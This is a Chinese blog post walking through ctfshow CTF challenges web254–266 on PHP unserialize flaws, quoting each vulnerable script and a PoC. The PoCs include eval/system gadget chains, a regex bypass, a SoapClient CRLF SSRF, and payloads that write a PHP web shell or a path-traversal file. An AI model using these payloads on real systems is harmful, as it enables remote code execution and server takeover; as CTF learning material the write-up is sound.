持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第二十一天,点击查看活动详情
web254
code
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
判断是否传入username和password,实例化$user,依次进行判断
poc
?username=xxxxx&password=xxxxx
web255
code
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
判断是否存在username和password后,$user对象由COOKIE中的user值反序列化赋值,因此将ctfShowUser这个类序列化后传入COOKIE中即可,其中将\isVip设置为true绕过checkVip()方法,COOKIE一般不能直接传入字符串,url编码后传入
poc
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
print urlencode(serialize($a));
//user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
code
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
vipOneKeyGetFlag方法中当username和password的值不相同时才能得到flag
poc
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxx';
public $isVip=true;
}
$a = new ctfShowUser();
print urlencode(serialize($a));
//user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22xxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
分析1
逆推,首先需要backdoor类里的getinfo方法eval()执行代码,可以看到__destruct()方法调用getinfo(),那么在__construct()方法实例化backdoor类就可以实现到eval方法的调用
poc1
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = "system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
print urlencode(serialize($a));
//user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
分析2
在y4师傅博客上看到另一种解法在php7.1以后版本反序列化对属性不敏感,通过指纹识别可得是7.3.4版本的站,那么poc就可以简化为:
poc2
<?php
class ctfShowUser
{
public $class = 'backdoor';
}
class backDoor
{
public $code = "system('cat flag');";
public function getInfo()
{
eval($this->code);
}
}
$a = new ctfShowUser();
$b = new backDoor();
$a -> class = $b;
print urlencode(serialize($b));
?>
web258
code
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
分析
重点在这个正则匹配上!preg_match('/[oc]:\d+:/i', $_COOKIE['user']),这个正则是为了过滤Object类型被反序列化,但是php的unserialize有个小tip可以绕过这个正则,在冒号:后添加一个加号+:原文链接www.phpbug.cn/archives/32… 那么只需要在payload前添加个加号即可绕过,poc里面将O:替换为O:+
poc
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
print urlencode($a);
web259
code
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
分析
什么是SoapClient
soap简单对象访问协议,使用xml传送数据,正常情况下的SoapClient类调用不存在的函数时会调用__call方法,这里是在我自己服务器上监听的,location就是服务器地址
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxxx:5555'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
可以看到SOAPAction是我们可以控制的,这里利用CRLF传入构造的参数
但是要发送POST包需要设置Content-Type为application/x-www-form-urlencoded,但是这里的content-type在SOAPAction上面
可以在user-Agent里面传递值
<?php
$target = 'http://xxxxxx:5555';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: xxxx',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'pa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
题目分析
本地访问时要带上token,一开始以为修改xff头,参考y4师傅博客是因为有cloudfare代理所以需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,因为使用了array_pop()函数,该函数弹出并返回array数组的最后一个单元,如果不是数组将会报错。
Deserialization + __call + SoapClient + CRLF = SSRF 其实就是构造POST包: user_agent:pa Content-Type: application/x-www-form- urlencoded X-Forwarded-For: 127.0.0.1,127.0.0.1 Cookie: PHPSESSID=my_session Content-Length:xxx token=ctfshow
poc
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,
array(
'location' => $target,
'user_agent'=>'pa^^Content-Type: application/x-www-form- urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,
'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
web260
代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
poc
?ctfshow=ctfshow_i_love_36D
web261
code
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
分析
当存在__unserialize()方法和__wakeup()方法时就不会调用__wakeup()方法,那么就应该从写文件这里入手,利用php的弱类型==就可以绕过$this->code==0x36d
<?php
$a = "877.php";
var_dump($a == 0x36d);
\\true
传入filename为877.php,password为shell即可
poc
<?php
class ctfshowvip
{
public $username;
public $password;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST["cmd"]);?>');
print urlencode(serialize($a));
web262
code
index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析
index.php文件注释里面提示还有一个message.php文件,index.php主要意思是将$msg序列化后查找fuck替换为loveU之后经过base64编码传入COOKIE里面,message.php将cookie里的msg解码后反序列化,如果token的值为admin在则输出flag,那么直接将token设置为admin后实例化message类后就可以序列化并编码
poc
<?php
class message{
public $from = 1;
public $msg = 1;
public $to = 1;
public $token='admin';
}
$a = new message();
$b = serialize($a);
$c = base64_encode($b);
print $c;
//Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MTtzOjM6Im1zZyI7aToxO3M6MjoidG8iO2k6MTtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
这里还有另外一种解法 将$token='admiin'序列化得到O:7:"message":1:{s:5:"token";s:5:"admin";}
我们只需要用到{s:5:"token";s:5:"admin";},我们需要构造一个长度跟{s:5:"token";s:5:"admin";}一样的字符串将序列化好的结构打乱,让需要利用的地方通过反序列化函数最后获取flag。通过python可以知道";s:5:"token";s:5:"admin";}的长度(必须要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}) ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263
session反序列化
url后添加/www.zip,存在源码泄露
首先index.php里面会生成session和cookie的limit,而session的limit值是由cookie的limit进行base64解码后的
然后调用check.php,这里主要判断是否登录成功,登录成功则取消次数累计,然后调用inc.php
这里的点主要在inc.php里面,首先设置了
session.serialize_handler处理器为php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
然后看这个类的析构方法,通过file_put_contents()方法写入username和password,因此构造payload,因为处理器使用的是php,所以需要在前面添加个|
<?php
class User{
public $username="admin/../../../../../../../../../../var/www/html/1.php";
public $password="<?php system('cat flag.php');?>";
public $status;
}
$a = new User();
$c = "|".serialize($a);
echo urlencode(base64_encode($c));
修改cookie里的limit值,之后访问check.php后进行反序列化写入
web264
code
和262很相似,不同在于
需要先传进去
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
之后访问messag后添加msg值
web265
code
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
解析
看到了mt_rand()以为是随机数漏洞,但是前面有个md5加密,好像就不是了,然后看了y4师傅的博客,使用的是指针里面的引用&,将password的值等于token
poc
<?php
class ctfshowAdmin{
public $token = 1;
public $password =1;
public function __construct(){
$this -> token = 1;
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
print serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
//O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";i:1;}
可以看到注释里面有两个反序列化的值,下面那个直接传的password和token等于1,上面是用的引用传参,区别在于一个是R:2,一个是i:1,i表示整型的integer,R是什么,挠头,百度了才知道R表示reference,r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据
web266
code
<?php
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
分析
如果匹配到ctfshow关键字就会抛出异常,但是php有个特性,函数名、方法名、类名不区分大小写,写个demo
<?php
class pa{
function abc(){
print "hello";
}
}
//$a = new Pa();
//$a -> abc();
$a = new Pa();
$a -> ABc();
将类名设置为Pa,调用ABc方法仍然可以调用
所以这里可以设置为ctfsHow,因为使用了php://input,所以使用post传参
poc
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$a = new ctfshow();
print serialize($a);
//O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}